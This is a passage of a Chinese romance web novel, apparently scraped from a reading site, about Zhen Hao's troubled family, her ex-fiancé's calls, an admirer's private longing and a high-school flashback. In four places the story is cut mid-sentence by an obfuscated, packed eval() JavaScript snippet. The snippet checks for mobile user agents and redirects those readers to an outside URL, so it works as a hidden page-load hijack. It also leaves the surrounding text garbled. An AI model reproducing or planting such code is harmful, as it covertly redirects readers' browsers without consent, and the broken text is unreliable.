明明上一秒她还梨花带泪地看着一双女儿，可一见到甄东成，整张脸突然愤怒得生动起来，至少比方才那副看着有气无力的样子看着顺眼。 “你就自己吓自己吧，早晚吓出个好歹来！”甄东成气急败坏，说完便往里屋走去，再也没看何允莲一眼。 刚刚还气势汹汹的何允莲突然泄了气，对着甄好二人抱怨：“你看你们这个没用的阿爸，老婆生病了不知道哄还这样凶，我的命怎么这么苦啊……老天真是无眼啊……” 甄黎刚准备踏进房门的脚在听见何允莲的声音立刻缩了回去。他现在在读大二，还没放寒假回家就已经被亲妈两个小时一通电话折腾得够呛。何允莲甚至要求他每天要抽空说点好听的话哄她开心，他哄了两天就累了，回了家更是恨不得天天躲着她。 他这个妈，太费孩子了。 “妈，您有事说事，别张嘴就来。”甄好实在听不下去了，秀眉紧拧，“我爷爷和您感情没那么好，要带也是带我走。” 何允莲：“……” 甄美：“……” “阿姐，有你这么安慰人的吗？”她没忍住咬着牙关用气声跟甄好说道。 “我不跟你们说了，没力气了，我要去歇会儿。”何允莲一说不过人家就喜欢用这招，姐妹俩早就习惯了，也就随她去了。 何允莲回房后，甄黎才悄悄从一旁走了出来。 三个人面面相觑，不约而同地轻叹了一口气。 甄好这才得知甄美火急火燎地拉着她回到家，所谓的“出事了”，其实只不过是何允莲醒来后做好早餐却不见甄好的人影，等吃完早餐又不见家里其他人的踪迹，终于彻底爆发了，挨个给甄东成、甄好、甄美和甄黎打电话。 甄好自然是接不到电话的，这让何允莲更加觉得他们抛弃了自己。而事实上，甄美是借着去看南音乐团演出偷偷和沈翊约会去了，甄黎更加只是吃完早餐和同学一起到小学凑凑热闹，至于甄东成，他一向如此，饭后习惯去邻居家泡茶话古。 只是这样平常的一天，却被何允莲放大了无数倍，电话连环打不说，还威胁他们再不回家就自己去见甄爷爷。 他们明知以何允莲这种怕死的性格是做不来这种事的，却还是担心不已，一个个都往家里赶。 “阿姐，这已经不是第一次了。”甄黎苦着一张脸，说起自己头一回经历何允莲的威胁时的场景，“就在上个月，我在学校上课，老妈一个电话打来，我不方便接就挂了，结果她一个接一个地打，没办法，我只能偷偷溜出阶梯教室到外面去接。你猜怎么着？她一开口就说我不要她这个破老母了，她不想活了……当时我吓得后面的课都没敢上，直接翘课坐高铁回了家。” 说起这事，甄黎仍旧觉得心有余悸。 “为什么你们从来不告诉我这些？”当下的甄好好像有一点能理解何允莲为何会出现被抛弃的错觉。 明明是一家人，自己却是最后知道某件事，或者是唯一一个被排除在外的，倘若内核不够稳，的确很容易钻牛角尖，甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16023046|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至会钻进死胡同出不来。 何允莲应当就是如此。再加上更年期综合征，雌激素的改变会让她情绪不稳定，容易胡思乱想，身体上产生的不适也会让她疑神疑鬼，变得不再像从前。 “爸妈说你最近烦心事多，要我们别给你添堵，所以就……”甄美小心观察着甄好的神色，选择先道歉为强，“对不起啊，阿姐，我们不是故意瞒着你的。” “没事。”要是换成从前的甄好，也许会因为全家人瞒着自己何允莲生病了这件事而内耗而愧疚，可她现在不再是那个心理脆弱的小女孩了，“医生还说了什么？” 她的大脑已经从感性思考慢慢进化为理性思维，眼下只想弄清楚何允莲应当如何调理身体。 “医生说……”甄美将自己所知道的娓娓道来。 另一边。 南音乐团演出结束后，时序本想找到甄好恭喜一下她，结果远远见甄美着急忙慌地拉着她走了，只好作罢。 开车回去的路上，他的手机忽然收到一条推送。 是甄好的视频账号更新了。 在这个节点之下，甄好还能够更新视频，不出意外的话应该是定时发送的。 这么猜测的同时，时序缓缓将车开至路边，停好车又打了双闪后，才拿出手机打开那条推送。 他本可以到家再慢慢观看，可他就是忍不住。 那种感觉就像小时候追电视剧追到了关键时刻，却要等第二天的更新，抓心挠肝又满心期待。 他不知道自己对甄好的感情还能够藏多久，那种强烈的占有欲经常折磨得他快要发疯。 甄好更新的视频依旧没有露脸，只露出半截白皙的脖颈，声音与平常无异。 这是不是代表她在诉说和秦深的往事时，内心的波澜已经越来越小？ 时序忍不住这样猜测。 一想到有这种可能性，他看视频的心情都变得轻松了几分。 还是那把熟悉的嗓音，还是那种令人舒服的娓娓道来的叙事方式，甄好的声音很快萦绕在他耳畔：“哈喽呀，我来了，大家新年好。本来不想在这大好的日子里聊起这些无病呻吟的感情往事的，但我想早点给自己一个交代，要是不喜欢听可以直接划走哟。 “上回说到那个女生后来有多离谱，以及我又做了什么愚蠢的事情，先说Z这个女生吧。后来她很久没有出现在我和Q先生的生活里，是我刻意去忽视还是真的消失我已经不想过多猜测，因为已经没有任何意义。我和Q先生的确过了很长一段时间的安静生活，顺利地毕业，顺利地工作。刚开始我和Q先生还在同一座城市工作，感情也上升了一个层次，就在我感觉到幸福的时候，Q先生提出要去拜访我的父母，并把亲事定下来。 “很奇怪的是，他这样做我明明应该感到成倍的幸福，可事实相反，我感受到的是一股无形的压力，甚至是抗拒。当时年轻，不懂有所顾忌和犹豫便是没到时候，所以在Q先生的软磨硬泡之下，两家父母见面了。过程并不十分顺利，但结果是好的，我和Q先生订婚了。没有仪式，也没有办宴席，只是两家人简简单单地吃了一顿饭，这便是我和Q先生的订婚宴。 “也就是订婚当天，Z再次出现在我和Q先生的生活中……” 听到这里时，突然有人敲了敲时序半开着的车窗玻璃。 62. 只剩过期的爱意 很遗憾，没能长成有出息的大人，苦难也没能开出绚烂的花。 我还是那个普通的女孩，还是那个遇到困难只会退缩的小孩。 ——《橘色告白》 时序暂停视频，摘下一只蓝牙耳机，疑惑地转头看向窗外。 “小裴总？没想到真的是你，我以为我认错人了。”林免笑着说道。 “好久不见。”时序摘下另一只蓝牙耳机，放好后打开车门下了车。 林免没想到会在这种小地方偶遇闽市鼎鼎大名的裴氏集团未来继承人，顿时受宠若惊，一时连社交礼仪都忘了。 但到底是老同学，几句话下来那种多年未见的陌生感很快消失不少。 两人就这样倚在车旁，聊起了往事，多半是林免在说，时序静静地听着。 说到甄好时，他们不约而同地轻笑出声。 林免的神情里有着淡淡的惋惜：“小时候对待感情横冲直撞，现在想想其实真挺幼稚的。” 他初中就辍学去当了学徒，后来自立门户做起了小生意，虽说不算混得风生水起，倒也生活无忧。 “算起来，十多年没见过好好了，不知道她过得怎么样。”辍学后，他虽然后来还有跟甄好联系过，却再也没见过面。 “她很好。”时序习惯性地把玩着手中的金属打火机，回答这个问题的时候脸上冷硬的线条不由得柔和了几分。 听见打火机的咔嗒声，林免才恍然想到什么，递了一支烟到时序面前：“便宜烟，不知道小裴总抽不抽得惯。” 时序玩打火机的手一顿，清脆的金属声随之停止。 “谢了，我不抽烟。”面对林免时，时序又恢复那副看起来有点淡漠的模样。 这时，远远有女人轻柔的嗓音和孩子的吵嚷声传来。 女人温柔道：“你们跑慢点，哥哥不许欺负妹妹。” 小男孩不服地说道：“我没有欺负妹妹。” 小女孩的声音怯生生的：“哥哥不乖，我要爸爸，爸爸……” 她一边说一边迈着小短腿朝不远处的男人跑去，然后一头扎进男人怀里：“爸爸，哥哥欺负我……” 林免宠溺地蹲下身抱起女儿，语气柔和得不像话：“是谁欺负我们小公主啦，爸爸帮你把他变成小猪猪好不好？” 小男孩一听，撇着嘴不乐意了：“我不要变成小猪猪，妹妹才坏……” “阿免，女儿闹着要找你，哥哥说爸爸在忙，这不就吵起来了……”女人说着意识到有外人在场，及时收住了话，转而礼貌地跟时序打招呼：“新年好。” 时序也礼貌地点点头：“新年好。” “小宝、二宝，给叔叔拜年。”林免看着一双儿女，柔声道。 两个小家伙异口同声道：“哥哥新年好。” 拉长的尾音显示出孩子的童真与纯洁。 林免忍俊不禁：“为什么是哥哥不是叔叔？” 小女孩躲在林免身后，双手抱着他的大腿，怯懦道：“因为妈妈说长得好看的男生是哥哥，女生是姐姐，不可以随便叫叔叔阿姨，会没有糖糖吃……” 听了这话，女人哭笑不得：“二宝真乖。” 因为女儿的懂事乖巧，林免的语气里满是骄傲：“见笑了，小裴总。” “哪里，两个孩子都很可爱。”时序蹲下身，平视两个小朋友：“你们也新年好。” 说着，他从上衣口袋里掏出两个红包，分别递给两个小家伙：“哥哥祝你们平安无忧。” “这可使不得。”林免伸手轻轻推开红包，“心意到了就行。” “没多少钱，图个吉利。”时序动作自然地将红包放入两个孩子的外套口袋里，而后缓缓站起身。 “快谢谢哥哥。”女人见推辞不过，只好这样道。 “对对对，快谢谢哥哥。”林免也忙跟着道。 “谢谢哥哥。”两个小孩再度异口同声道。 “乖。”时序伸手摸了摸小女孩软软的头发，嘴角挂起温和的笑。 在这短短的一分钟里，他幻想到了五年后的场景。 五年后，他和甄好已经结婚生子，有了一对龙凤胎儿女，一家四口也如林免他们一般，在百花盛开的春日踏青，在荷叶满塘的盛夏泛舟，在丹桂飘香的初秋赏枫，在白雪皑皑的冬日一起白头…… 孩子们的名字他都想好了，儿子叫时晏，女儿叫时宜，都跟着甄好姓也行，最好儿子是哥哥，兄妹这个组合一听就很有爱…… 时序的幻想并未持续太久，因为林免拉回了他的思绪：“小裴总，方便留个联系方式吗？老同学好不容易碰上……” 时序没有拒绝，也没有拆穿他只差没写在脸上的别有所求，爽快地交换了微信号。 林免一家四口离去后，时序坐回车里。 他让大脑静静地放空了一会儿，才重新拿起手机继续看甄好的视频。 不知是不是方才染了尘世的烟火气，再听到甄好空灵带着质感的声音，时序觉得有点不真实。 “吃完订婚饭后，你们知道Q先生做了什么吗？他竟然让我和Z交个朋友，说我跟她是同行，一定有共同话题，更可怕的是，我居然答应了。 “你们想笑就笑吧，我也觉得当初的自己脑子被门夹了。更离谱的是，Q先生所谓的认识认识，竟然是拿他的微信号，让我跟Z对话，理由是Z当时正好在恭喜他订婚顺利，他觉得很开心，想让我也感受这份喜悦。如今想来真是可笑，这份喜悦谁爱感受谁感受。” 说到这里，甄好的声音有了起伏，带着一丝愤怒，也带着自嘲：“起初，我和Z还保持着社交礼貌，互相道了好，又感慨了一下工作，然后重头戏来了。 “Z突然话锋一转，教育我：姐妹，你谈恋爱都这样吗？ “我被她问蒙了，当时只知道傻傻地反问都怎样。我那会儿是真的不明白她是什么意思，也从没想过我会听到接下来的这段话。 “她说：没有男人会喜欢你这种控制欲强的女生的，两个人感情再好也要给对方空间，我只是想跟老同学聊个天，不想连这样都要被另一个人监视，这样的叙旧真没劲。 “当时听到这些我都呆住了，你们知道吗？我的大脑一片空白，一句反驳的话都说不出来。而Z，她还在继续说。 “她说：我了解Q同学，他喜欢温柔体贴的女人，依我看，你们不合适，即使你们已经订婚了，我也要说，你们在一起不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16028417|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会幸福的。 “我气得脸色发青手发抖，Q先生看我不对劲，抢过手机看我和Z聊了什么。他看完也很生气，当着我的面直接拉黑删除了Z，我却仍不觉得解气，一把夺过手机将其摔了个稀巴烂。 “Q先生什么都没说，只一个劲地抱着我，轻抚我的背部试图安慰我。而我，看在多年的感情上，看在已经订婚的事实上，也看在他态度明朗的面子上，最终选择了原谅。 “说到这里，突然想到网友们常说的：再原谅，就是我活该了。事实证明，真的是我活该。 “不知不觉又说了这么多，原来回忆往事是会累的。咱们下期再接着讲讲，我是如何因为Q先生而负债百万的。最后再次祝大家新年快乐啦，新的一年要开开心心！” 看完后，时序习惯性地翻看评论，底下已经有很多网友们给甄好留言。 画风和以往的每一条一样，鼓励有之，心疼有之，贬低有之，谩骂也有之。 他一条恶评都看不得。 徐洋的手机在假期里第不知道多少次响了。看到来电显示的名字，他一点都不感到意外，甚至有点兴奋：“小裴总，新年好。” 时序直奔主题：“该干活了。” 在他一句句“该干活了”之下，徐洋的这个年过得特别好，所以每次都喜气洋洋地满口答应：“小裴总请放心，保证完成任务。” 在金钱的力量下，甄好被最大化地保护了起来，那些来自网友的恶意多半被徐洋的团队扼杀在摇篮里。 可时序保护得了甄好一方面，却保护不了另一方面。 何允莲说累了要休息，实际上只过了半个小时，甄美刚给甄好说完大概情况，她就从卧室里出来，声音软绵绵地说：“好好、小美，我难受。” 甄好还不知何允莲磨人的威力，自然而然地问道：“哪里难受？” 何允莲有气无力道：“我饿，感觉饿得胃都在发抖。” 饿？ 甄好听了放下心来，饿不是什么难题。 “想吃什么？”过年过节的，家里最不缺的就是吃的。 “我吃了难受，吃不下，看到东西想吐……”何允莲握住甄好的手，“好好，我是不是要死了？我真的好难受……” 她说着眼睛开始泛红，声音也染上哭腔：“要不是想看着你们姐弟三个结婚生子，我真想一走了之算了……” 甄好黑着脸打断她：“何允莲，大过年的咱们说点吉利话好吗？” 何允莲一愣。 这些年来，甄好一不高兴就会连名带姓地叫她，全家也就只有甄好这样强硬。她先是被唬住了，然而只是片刻，她又恢复要死不活的模样：“好好啊，不是妈夸张，是妈真的浑身难受啊……” 何允莲说着就要往地上坐下去，好在甄好两人手疾眼快地架住她，才让她稳稳地站着。 急促的铃声在这时响起，是甄好的手机响了。 她看都没看屏幕，直接接了起来：“喂，你好。” 这是她的习惯，接电话先开口问号。 对方沉默了一瞬，才哑着嗓子缓缓说道：“好好，我好想你。” 这句话一出，甄好犹如遭雷击，当场愣在原地。 63. 阴魂不散的旧人 时间裹挟着人们向前，再向前，愿意回头看看过去的人寥寥无几。 ——《橘色告白》 甄好没有当着何允莲和甄美的面讲电话，而是走到一个安静的角落，才冷着声音说道：“有事直说。” “太好了，好好，你还愿意听我说话。”终于等来甄好的回应，秦深的声音透着庆幸之意。 甄好却没理会，径直说：“没事是吧？没事我挂了。” “好好！”秦深急切地喊道，“等等，别挂电话。求你不要挂电话……” “哦，忘记恭喜你和嫂子新婚快乐了。”甄好的话语像毒舌的信子，一点一点地腐蚀着他们之间仅存的一丝情意。 “好好，我……” 秦深的话被甄好打断：“秦深，请你清楚你现在的身份。你怎么样我不想管，但我不想惹一身腥。麻烦你以后不要再给我打电话了。” 说完，她不等对方回答，毫不犹豫地挂断了电话。 此时，外面正好有鞭炮声响起，热闹就在耳畔，甄好却觉得一颗心空得可怕。 她深深地呼出一口气，才重新回到客厅。 客厅早已变得空荡荡，何允莲和甄美都不知去向。 不过这也说明何允莲没再闹着要做什么，甄好胸口中憋着的那股气稍稍散了些许，但仍旧堵得慌。 南音乐团的主要演唱人员受邀去市里参加一个晚宴，席上大多是一些相关单位领导或者豪商。甄好原本对这种带着商业性质的饭局不感兴趣，可被何允莲和秦深这么一闹，她改变了主意，决定出去透透气。 手机铃声的又一次响起让甄好的心跳了跳，下意识地认为又是秦深打来的，看也没看来电显示接起来劈头盖脸就是一句：“我不是说了不要再给我打电话了吗……” “好好，是我……”周淳芮小心翼翼地打断她，“你怎么了？” 甄好一愣。 她这才看了一眼手机屏幕，确认不是秦深打来的后，长长地吁了一口气。 “我没事。”甄好很快平静下来。 “演出结束就不见你人影，问了陆星湛也说不知道，我们担心你，就找来你家了……”周淳芮解释道。 “刚刚家里出了点事，现在解决了。”甄好边说边朝楼下走去，“你们在哪儿？” “马上到了。”周淳芮看着开车的鄢云书，笑眯眯道，“没想到云云开车这样帅，你一定要体验体验！” 闻言，鄢云书无奈地摇了摇头。 准确来说，她开车不是帅，是野。 极致的速度和刁钻的角度会让她感到放松的同时，还有一种难以言喻的极尽释放，那会令她的大脑感到兴奋，甚至是上瘾。 很奇怪吧，作为一个医生，竟然喜欢各种不安全的活动，比如飙车，再比如极限运动。 等碰了面，甄好才知道她们也要去参加晚上的饭局，不由得有些不解：“云云去参加我能理解，芮芮你为什么会……” “想不到吧？”周淳芮得意地转着车钥匙，“我是替我爸去的。我爸本来就挪不开身，我一想啊，好好你也会去，就直接揽身上了，没想到云云也会去，这下更好了。你们是不知道我爸看我的眼神，那叫一个欣慰。他估计以为我终于肯放弃我的旅游事业，回公司帮他忙了。” “这个老头子想得挺美，谁要回去摆弄他那些宝贝水龙头啊……”周淳芮噘着嘴，吐槽道。 周淳芮的父亲做的是卫浴洁具以及家居方面的生意，听起来就枯燥无味，的确不像是思维跳脱的周淳芮会感兴趣的。 “身在福中不知福。”甄好照例开玩笑道。 周淳芮照例一点也不介意，反倒问起另外一个问题：“对了，好好，刚刚听你语气不太好，是谁打电话骚扰你吗？” 她心中有一个隐隐的猜测，可是不确定。 甄好也没瞒着：“嗯，在你打电话之前，他打来说了一些我不爱听的。” “他？”周淳芮眼中瞬间像蹿起了火苗，“是我想的那个他吗？” 甄好点点头：“嗯，就是他，秦深。” 听到这里，鄢云书露出厌恶的表情，好看的眉毛轻轻拧起。 “秦狗这个王八蛋还敢给你打电话？！”周淳芮气得眉毛都快竖起来了，气鼓鼓地骂道，“他不是刚刚大婚吗？不抱着娇妻好好在家造娃，来骚扰你做什么？！狗东西！” 周淳芮一向心直口快，说完才意识到自己这样说可能会伤害到甄好，于是又连忙找补：“好好，我是气坏了才胡说八道的，你可以不听……” 见周淳芮这样小心翼翼，甄好心里一暖，释怀地笑道：“你别紧张，我没关系的。” “真的没关系？”周淳芮还是小心求证着。 “真的。”甄好被她逗笑了，“比我的姓氏还真。” 听甄好这样开玩笑，周淳芮这才真的相信她是真的没事了，整个人顿时也放松下来。 “我已经安排好了，中午一起去吃顿漂亮饭，然后找个地方按摩放松，顺便午休一下。”周淳芮兴致勃勃地说起饭局前三人的行程，“然后再挑部电影看，我们三个人很久没有约会了！” “全听你的。”甄好对她的安排没有任何异议。 鄢云书也附和道：“全程配合。” “太好了！”周淳芮高兴得差点跳起来。 傍晚，裴家。 时序出发去酒店前，又重新整理了一下放在大衣各个口袋里的东西，确认无误后，才满意地准备开车出门。 他在车库挑了一辆车，刚准备启动又不放心地打字发消息：“好好，我去接你。” 他本想直接问甄好是否会出席饭局，仔细想想又觉得太过刻意，于是选了个委婉又能提前见到她的方式。 甄好的消息大概在五分钟后才发来：“不用，我们已经到了。” 我们？ 时序盯着这两个字看了片刻，心里涌起诸多猜测。 她和谁一起？ 男的女的？ 他想追问，可到底还是忍住了。 问这种问题显得他多没自信似的。 莫名其妙的骄傲让时序将心中的疑问嚼碎了吞下。 反正等一下就能见到她了。 他这样想着的同时，启动车子，飞驰而出。 晚宴订的是七点开始，甄好三人不想太早进去，便找了家附近的咖啡厅先坐下来。 落座后，周淳芮聊起了下午看的电影：“我一定要看第二部，太燃了！” 她们看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16037797|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的是一部国产动画电影，情节热血高燃，网上很多人都在期待下一部。 “附议。”甄好的想法跟周淳芮的一样。 “到时候一起。”鄢云书则是直接提出了未来之约。 “不过估计少说还得等个三年五载，那时说不定我们都做妈妈了，嘻嘻。”周淳芮说着忍不住笑出声，“真不敢相信我们当妈妈会是什么样子的……” “希望我们还是我们。”鄢云书难得参与她的话题。 “嗯，云云说得对！希望哪怕做了妈妈，我们也还是我们！”周淳芮端起服务员刚送上来的咖啡，“敬我们！” 谈天说地的时光总是过得飞快，不知不觉时间已然逼近七点。 喝完最后一口咖啡后，甄好突然想起来一件事：“对了，云云，你开车是真野，一点也像你的性格。” 鄢云书为人谨慎，做事认真，这种冒险刺激的行为与她整个人背道而驰。 “谁说人一定要按别人的刻板印象去活呢？”鄢云书笑了笑，再次口出金句。 “这话说得好。”甄好差点忍不住鼓掌叫好，结果下一句话锋一转，“所以回去叫代驾好不好？我害怕。” 鄢云书：“……” “今晚我们三个一起喝点小酒，把旧年的怨恨哀伤都留在旧年，新的一年新的喜乐！”甄好很快说出自己的真实目的，“等哪天找个机会，再一起去飙车！” 听了这话，鄢云书清冷的眉目霎时生动起来，笑意爬上嘴角，一张脸比平时更美了几分。 “好。”她珍而重之地应了甄好的邀约。 甄好三人进入包间时，里面只坐了一个人。 她们本就提早了一点，见到有人更早不由得微微讶异，但更让甄好讶异的是那人抬起头来时，那张熟悉的脸她这辈子都忘不了。 多年不见，林免看起来成熟稳重，已经不再是当年那个横冲直撞的毛头小子。他微笑着站起身，很有礼貌地向她们问好：“新年好，好久不见。” “你是……”周淳芮一下子没反应过来对方是谁。 “林免，我是林免。”林免脸上的笑容又深了几分，“周同学贵人多忘事。” “哦，你就是林免那个臭小子啊……” 周淳芮话还没说完就被甄好轻轻地拉了一下大衣袖子：“芮芮……” “抱歉，我口快……”周淳芮也意识到自己有点不礼貌了，忙道歉。 甄好和林免之间发生的事她再清楚不过，陡然看到这小子，那些过期的愤怒和埋怨顿时涌上心头，这才让她口不择言。 不过这也是林免活该，谁让他当初那样对甄好！ 这么想着，周淳芮顿时一点也不为自己方才的不礼貌而感到愧疚了，反倒觉得自己应该再多骂两句。 “没事，大家都是老同学，不用那么拘谨。”林免脸上的笑容不变。 “好好，你变漂亮了。”末了，他又眼神坦荡地赞美了一句甄好。 “谢谢，你也变了很多。”甄好回道。 时光仿佛在这一瞬进行回溯，她一下子被拉回了高中时代。 林免的声音也从眼下的温和有礼变得暴躁无常。 短短的几十秒内，甄好想起了那件让她终生难忘的往事。 64. 不该接通的电话 年少时的一句玩笑话，也许会成为当事人一生的噩梦。 ——《橘色告白》 安南三中是半封闭式学校，除了走读生和节假日，寄宿生只能在校区活动，不管是吃饭、睡觉还是学习。 甄好读高中的时候，甄东成重新北上津城做生意，一心想要东山再起，留何允莲母子三人在闽镇老家。 至于甄奶奶，大半辈子都生活在闽镇。 那个时候的甄好不爱回家，对家没有任何眷恋，唯一的牵挂便是年事已高的奶奶。 她总是不明白为什么室友会想家想到掉眼泪，也不明白为什么她们可以从早到晚和父母聊天或者讲电话讲个没完。 她不懂这种分享欲是从何而来，不明白“早饭吃了什么、午饭吃了什么、晚饭吃了什么、几点睡的、几点起床的”这种话题有什么好聊的，可她身边的同学与父母之间的相处模式大多都是如此，这让她觉得自己才是不正常的那个。 她最庆幸的是，周淳芮和鄢云书仍旧与自己在同一个学校，哪怕和鄢云书不同班，她们也能在下课和放学后一起去便利店买水、去食堂吃饭、去操场散步或夜跑。 她的高中生活平静又温馨，那是在甄家体会不到的感受。 也因为如此，她越来越不想回家，渐渐地从每周末回家变成两周回一次，甚至一个月才回一次家。 何允莲对此没有任何意见，她本就对两个女儿不上心，加上那几年甄东成赚了点钱，往家里寄生活费也比往年更勤更多。 人在物质条件富足的情况下，总是看什么都和颜悦色，何允莲就是很好的一个例子。 她买了更多的新衣服、烫了更时髦的发型，领着儿子吃好的、玩好的，全然忘记了自己还有两个在上寄宿学校的女儿。 甄好姐妹俩一个在安南三中高中部，一个在初中部，甄东成每周都会跟她们通电话。每每接到父亲的电话，甄美都会给甄好发来消息：“阿姐，阿爸刚刚给我打电话了。” “嗯，阿爸说什么了？”甄好总是这样问。 “阿爸说从学校回家的那条盘山公路不安全，要我们没事可以不回家，安心待在学校里休息或学习。”甄美回道。 没错，甄好敢一个月不回家的底气来自甄东成。 从学校回闽镇，需要经过一条又弯又长还陡的盘山公路，晴好的天气不觉得如何，一旦遇到台风暴雨天，危险系数便直线上升。 甄好不喜欢蜿蜒陡峭的山路，不喜欢藏在大山里的家。 她想要飞出去，想要到外面看看更广阔的世界。 所以她拼命读书、努力进步，为的就是一句话——知识改变命运。 二〇〇九年的夏天，安南三中对于手机管理的制度还比较松懈，学生几乎人手一部。 甄好用的是三叔退休不用的三星滑盖手机，红黑配色，机身大气美观，她很喜欢。 她在课余时间用手机写散文和小说，给校刊投稿，没想到好些文章都被选中并刊登了。 她写《爷爷和南音》，也写《小羊和花草》，还写主角是阿尔法星球人的《橘色告白》，更写隐秘的少女心事，并小心翼翼地为它取名为《半束月光》。 在他们这个年纪里，正是情窦初开的时候，很多女生看了校刊专门为甄好开设的“半束月光”专栏，这个专栏专供她写散文，甚至是连载小说。 时间久了，三中不少人都纷纷猜测是什么样的女生才能够写出这样细腻戳人的文字。 一个寻常的午后，第一节刚下课，教室后门就吵吵嚷嚷地挤了很多人。当时甄好的班级上有一个身高腿长、长得很像某位男明星的男生，所以这一次她也自然而然地认为，那些人是来看“明星同学”的。 吵闹中不知是谁大喊了一声“远山乔同学”，然后整个嘈杂的教室突然安静了下去。 甄好更是浑身僵住，紧接着心脏怦怦狂跳，在寂静的空间里显得格外清晰。 远山乔正是她在校刊上撰写文章时所用的笔名。 原本只要甄好不出来承认是自己，这一切很快就会过去，偏偏上课偷偷睡觉的周淳芮这时被吵醒，听到有人大喊好朋友的笔名，迷迷糊糊地说道：“好好，我怎么听见有人叫你啊？远山乔不就是你的笔名吗……我是不是在做梦？” 甄好：“……” 这下好了，她掉马了。 安静许久的教室再次沸腾起来，什么样的声音都有。 同班的女生声音最大—— “甄同学，你就是远山乔啊？天哪，你写的文字好动人，呜呜呜喜欢！” “好好！没想到是你！啊啊啊，原来偶像就在身边！答应我，继续写好吗？我枯燥的学习生活不能没有你的文字滋养。” “好好，能不能多写点啊？呜呜呜，不够看啊！男主什么时候跟女主表白啊？” 至于外班的同学多半都是在说—— “原来校刊主编的宠儿就是她啊，长得还挺漂亮。” “感觉是我哥会喜欢的款，我要去叫我哥把她追回来给我当嫂子！” “她本人真的就跟她的笔名一样耶，安安静静又有力量。求加更！” 这是甄好十六年的人生中最受瞩目的一次，也是获得最多赞声的时刻。 在大家的赞扬声中，她的脸红了又红，最后甚至没好意思直接趴在桌上装死。 在这之后，她又得了一个“腼腆才女”的称号。 无论如何，这种被人关注的感觉总是美好的，当时的甄好十分感谢三中教风开化，保证学生成绩的前提下亦鼓励学生多元化发展，这才让她的才能有了展示的舞台。 三中校刊，是甄好觉得最有成就感的地方。 但生活怎么可能一帆风顺呢？在一个即将熄灯的晚上，她接到了一通陌生来电。 她本不想接，可犹豫片刻还是接了起来。 万一是家人遇到什么事借了别人的手机给她打电话呢？ 她当时是这样想的，可电话接通后，她听到的是一个带着酒气的男声：“好好，你还记得我吗？” 甄好心一跳，一个可怕的猜测在心里形成，嘴上也随之吐出那两个字：“林……免？” 男生的声音顿时变得兴奋起来：“好好，你竟然能一听就听出是我来？我太高兴了，好好！” 甄好握着手机，心一下一下地跳快，好像回到了初中被林海追问林免下落的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16038925|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，紧张和惶恐逐渐占据她的心：“你找我……有什么事吗？” 其实她想问对方为什么会有自己的手机号码，可转念一想，这个问题没有意义。 “没有什么事就不能找你吗？”林免的声音里透着欣喜之情，“我们好久没联系了，今天高兴，突然就想给你打电话。好好，你知道吗？我刚刚谈下了一笔数额不小的生意，我真的太开心了，想找个人分享我的喜悦，就想到了你。” “啊……”甄好的生活里除了家务就是学习，尚不能理解他的快乐，但还是礼貌地说道，“恭喜你啊。” “谢谢你，好好。”林免像是找了个安静的地方，他那边原本的嘈杂声退去，只能听见他有些着急的呼吸声，“因为你的恭喜，让我的努力更加有了意义。” “呵呵。”甄好不知道说什么，只能干笑。 林免并不介意她的沉默，依旧兴致高昂地说着自己的事：“其实我很早就想给你打电话了，可是我不敢。我怕你还是像以前一样讨厌我，直到今天喝了点酒，才壮起胆子打了这个电话……” 甄好默默地听他说着，心里却在盘算着合适的时机结束通话。 他说得没错，她依然厌恶听到与他有关的一切。 “好好，谢谢你愿意接我的电话，还愿意听我说这么多。”林免喝了不少酒，声音再怎么压听起来还是有点飘，“好好，我还是很喜欢……” 甄好生怕听到自己不想听的话，飞快地打断他：“林同学，我们宿舍快要熄灯了，要不今天先到这里？” “好好，别挂电话，我还有话没说完。”林免却不让她挂电话。 “可是我们真的要熄灯了……”甄好说的是实话，宿舍再过五分钟就要熄灯了。 “求你了，不要挂电话……求你了……”林免说着说着竟染上了哭腔，“拜托你去楼道听我说完好不好？就一会会儿，求求你了……” 